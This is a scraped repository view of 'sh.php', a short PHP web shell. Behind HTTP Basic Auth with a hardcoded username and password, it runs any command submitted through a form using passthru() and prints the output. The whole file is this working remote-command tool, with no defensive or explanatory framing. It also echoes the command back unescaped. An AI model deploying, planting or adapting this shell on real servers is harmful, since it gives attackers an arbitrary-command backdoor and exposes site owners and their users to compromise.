-
Notifications
You must be signed in to change notification settings - Fork 0
/
sh.php
63 lines (54 loc) · 1.29 KB
/
sh.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
set_time_limit(0);
$users = array('vikoff' => 'r00t+1');
$authorized = FALSE;
if (!isset($_SERVER['PHP_AUTH_USER'])) {
$authorized = FALSE;
} elseif (isset($users[ $_SERVER['PHP_AUTH_USER'] ]) && $users[ $_SERVER['PHP_AUTH_USER'] ] === $_SERVER['PHP_AUTH_PW']) {
$authorized = TRUE;
}
if (!$authorized) {
header('WWW-Authenticate: Basic realm="Authorize"');
header('HTTP/1.0 401 Unauthorized');
die('Authorization required');
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>sh</title>
<style>
.cmd-inp{
border: solid 1px #DDD;
padding: 5px 10px;
font-family: monospace;
font-size: 14px;
width: 500px;
}
.cmd-show{
background-color: #DDD;
padding: 0 10px;
}
</style>
</head>
<body>
<?php
$command = !empty($_POST['command']) ? $_POST['command'] : '';
$stderr = !empty($_POST['stderr']);
if ($command) {
$cmd = $command;
if ($stderr)
$cmd .= ' 2>&1';
echo "<pre> ".getcwd()."$ <span class=\"cmd-show\">$cmd</span>:\n\n";
passthru($cmd);
echo "\n\n</pre><hr><br><br>";
}
?>
<form action="" method="post">
<input class="cmd-inp" type="text" name="command" value="<?= htmlspecialchars($command); ?>">
<label><input type="checkbox" name="stderr" value="1" checked>2>&1</label>
<input type="submit" value="Run">
</form>
</body>
</html>